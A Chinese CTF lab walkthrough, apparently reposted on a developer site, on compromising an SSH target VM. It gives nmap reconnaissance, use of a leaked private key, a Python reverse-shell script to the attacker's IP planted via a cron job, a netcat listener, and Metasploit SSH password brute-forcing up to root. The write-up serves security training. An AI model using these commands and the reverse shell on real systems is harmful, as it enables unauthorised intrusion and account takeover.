「安全笔记」 CTF-SSH 服务测试

栏目: 服务器 · 发布时间: 7年前

内容简介:注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。靶机连接在文章最底部

「安全笔记」 CTF-SSH 服务测试

环境搭建

注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。

靶机连接在文章最底部

正式开始

我这里kali Linux 的ip地址是 192.168.43.141

靶机的ip地址是 192.168.43.197

首先我们用 netdiscover -r 192.168.43.1/24 扫描目标网络主机,找到靶机ip地址

「安全笔记」 CTF-SSH 服务测试

然后用nmap扫描开放端口,这里介绍下nmap常用的几个命令

探测开放的服务与服务的版本

nmap -sV ip

探测全部信息

nmap -A -v ip

探测操作系统类型与版本

nmap -O ip

这里我们用 namp -sV 192.168.43.197 探测靶机开放的服务

「安全笔记」 CTF-SSH 服务测试

接下来我们对收集的信息进行分析

对于ssh服务开放的靶机,首先考虑

+ 暴力破解

+ 私钥泄露(有没有对应的密码,有没有用户名泄露)

对于开放http服务的80端口或者其他端口的靶场,首先考虑

+ 通过浏览器访问对应的靶场http服务

+ 使用探测 工具 进行目录探测

接下来我们挖掘敏感信息

首先先对http服务进行探测,我们访问页面发现这是一个公司介绍,abouts里有对应的名字,猜测可能是登陆的用户名。

「安全笔记」 CTF-SSH 服务测试

接下来我们扫描目录

对于扫描结果我们逐条阅读,首先是一个files目录,打开发现没有东西,接下来打开icons,发现里面有一条奇怪的文件,打开发现是id_ras(私钥)

「安全笔记」 CTF-SSH 服务测试

利用 wget http://192.168.43.197/icons/VDSoyuAXiO.txt 下载下来

将他名称修改为id_rsa

然后我们尝试利用刚才挖掘的用户名登陆

首先修改权限 chmod 600 id_rsa
然后登陆服务器 ssh -i id_rsa martin@192.168.43.197

提示密码我们直接回车,发现没有密码

「安全笔记」 CTF-SSH 服务测试

登陆后需要扩大战果,可以进行以下操作。

+ 查看当前用户 whoami

+ id 查看当前用户的权限

+ 查看根目录寻找flag

很可惜我们并不是root,那么就需要其他的操作了,因为一般来说,flag属于root

「安全笔记」 CTF-SSH 服务测试

我们可以一查看这些目录,进行提权

/etc/passwd 查看所有用户的列表
/etc/group 查看用户组
或者
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件

查看用户列表发现我们猜测的用户都存在。

「安全笔记」 CTF-SSH 服务测试

在排查完这些文件之后,发现我们需要的信息都不存在,那么我们就需要深入挖掘

我们可以通过 /etc/crontab 这个文件。这个文件是设定系统定期执行的任务。如果说在这个目录下有某个用户的计划文件,但是具体目录下没有这个文件。那么我们就可以经行创建反弹shell,然后用netcat监听获得用户的权限。

如果存在那么可以查看有无执行权限

「安全笔记」 CTF-SSH 服务测试

我们输入 cat /etc/crontab 查看这个文件,发现目录下有个jimmy用户的 python 文件每五分钟执行一次,进入指定目录查看发现没有那个文件。那么我们就可以利用这个文件经行反弹shell

我们编写一个tcp客户端来反弹shell

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.43.141",1234))#注意这里是kali的ip和你在netcat上监听地端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

将这个文件保存在/tmp目录下然后命名为sekurity.py,并使用 chmod +x sekurity.py 设置可执行权限。在kali上使用netcat监听端口。

kali上输入 nc -lpv 1234 等个几分钟就会看到返回的shell。输入 whoami 发现是jimmy,成功反弹shell。但是查看用户发现并不是root,那么这个方式也失败了。

「安全笔记」 CTF-SSH 服务测试

那么我们只能使用暴力破解了

这里我们使用比较知名的cupp创建个性化字典。

git clone https://github.com/jeanphorn/common-password.git #注意安装git命令
chmod +x cupp.py
./cupp.py -i #以交互方式创建字典

创建时你可以生成自己喜欢的字典:-p我这里除了末尾随即字符选了y其他全部回车

「安全笔记」 CTF-SSH 服务测试

然后使用msfconsole进行爆破

msf > use auxiliary/scanner/ssh/ssh_login
msf > show options #查看参数列表
msf > set rhosts  192.168.43.197 #靶机ip
msf > set username hadi
msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密码文件地址
msf > set set threads 5 #设置线程
msf > run #开始爆破

成功爆破出密码hadi123

这时候我们使用 session -i 1 连接会话,

python -c "import pty;pty.spawn('/bin/bash')" 优化显示

然后使用su - root提升权限,这时候我们就是root了,然后就可以为所欲为了。

「安全笔记」 CTF-SSH 服务测试

cat flag.txt 就得到了flag啦。

「安全笔记」 CTF-SSH 服务测试


以上所述就是小编给大家介绍的《「安全笔记」 CTF-SSH 服务测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Web Application Hacker's Handbook

The Web Application Hacker's Handbook

Dafydd Stuttard、Marcus Pinto / Wiley / 2011-9-27 / USD 50.00

The highly successful security book returns with a new edition, completely updated Web applications are the front door to most organizations, exposing them to attacks that may disclose personal infor......一起来看看 《The Web Application Hacker's Handbook》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具